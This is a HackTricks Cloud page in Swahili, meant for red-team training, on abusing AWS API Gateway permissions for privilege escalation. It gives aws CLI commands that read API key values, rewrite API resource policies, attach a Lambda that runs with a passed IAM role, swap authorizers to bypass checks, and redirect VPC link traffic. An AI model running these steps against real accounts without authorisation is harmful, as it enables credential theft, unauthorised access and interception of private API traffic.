AWS - Apigateway Privesc
Reading time: 4 minutes
tip
Jifunze na fanya mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Apigateway
Kwa maelezo zaidi angalia:
apigateway:POST
Kwa ruhusa hii unaweza kutengeneza API keys za APIs zilizowekwa (kwa kila eneo).
aws --region <region> apigateway create-api-key
Potential Impact: Huwezi kufanya privesc kwa kutumia mbinu hii lakini unaweza kupata ufikiaji wa taarifa nyeti.
apigateway:GET
Kwa ruhusa hii unaweza kupata API keys zilizotengenezwa za APIs zilizosanidiwa (kwa kila kanda).
aws --region <region> apigateway get-api-keys
aws --region <region> apigateway get-api-key --api-key <key> --include-value
Athari Inayoweza Kutokea: Huwezi kufanya privesc kwa mbinu hii lakini unaweza kupata ufikiaji wa taarifa nyeti.
apigateway:UpdateRestApiPolicy, apigateway:PATCH
Kwa ruhusa hizi inawezekana kubadilisha sera ya rasilimali ya API ili kujipa ufikiaji wa kuitisha API na kutumia vibaya ufikiaji unaoweza kuwepo kwenye API gateway (kama kuitisha lambda yenye udhaifu).
aws apigateway update-rest-api \
--rest-api-id api-id \
--patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"'
Athari Inayowezekana: Kwa kawaida, huwezi kufanya privesc moja kwa moja kwa mbinu hii, lakini unaweza kupata taarifa nyeti.
apigateway:PutIntegration, apigateway:CreateDeployment, iam:PassRole
note
Inahitaji kujaribiwa
Mshambuliaji mwenye ruhusa apigateway:PutIntegration, apigateway:CreateDeployment, na iam:PassRole anaweza kuongeza muunganisho mpya kwenye API Gateway REST API iliyopo kwa kutumia Lambda function ambayo imeambatishwa na IAM role. Mshambuliaji anaweza kisha kuamsha Lambda function ili kutekeleza msimbo wowote na kwa hivyo kupata ufikiaji wa rasilimali zinazohusiana na IAM role.
API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"
LAMBDA_ROLE_ARN="arn:aws:iam::account-id:role/lambda-role"
# Add a new integration to the API Gateway REST API
aws apigateway put-integration --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --type AWS_PROXY --integration-http-method POST --uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations --credentials $LAMBDA_ROLE_ARN
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
Athari Inayoweza Kutokea: Ufikiaji wa rasilimali zinazohusiana na Lambda function's IAM role.
apigateway:UpdateAuthorizer, apigateway:CreateDeployment
note
Inahitaji kujaribiwa
Mshambuliaji mwenye ruhusa apigateway:UpdateAuthorizer na apigateway:CreateDeployment anaweza kubadilisha API Gateway authorizer iliyopo ili kupita ukaguzi wa usalama au kutekeleza arbitrary code wakati maombi ya API yanapofanywa.
API_ID="your-api-id"
AUTHORIZER_ID="your-authorizer-id"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"
# Update the API Gateway authorizer
aws apigateway update-authorizer --rest-api-id $API_ID --authorizer-id $AUTHORIZER_ID --authorizer-uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
Athari Inayowezekana: Kuzunguka ukaguzi wa usalama, upatikanaji usioidhinishwa wa rasilimali za API.
apigateway:UpdateVpcLink
note
Inahitaji kujaribiwa
Mshambuliaji mwenye ruhusa apigateway:UpdateVpcLink anaweza kubadilisha VPC Link iliyopo ili kuielekeza kwenye Network Load Balancer tofauti, kwa hivyo uwezekano wa kupeleka trafiki ya API ya faragha kwenda kwa rasilimali zisizoidhinishwa au zenye madhara.
VPC_LINK_ID="your-vpc-link-id"
NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188"
# Update the VPC Link
aws apigateway update-vpc-link --vpc-link-id $VPC_LINK_ID --patch-operations op=replace,path=/targetArns,value="[$NEW_NLB_ARN]"
Athari Inayowezekana: Ufikaji usioidhinishwa kwa rasilimali za API binafsi, kukamata au kuingilia kati au kuharibu trafiki ya API.
tip
Jifunze na fanya mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
HackTricks Cloud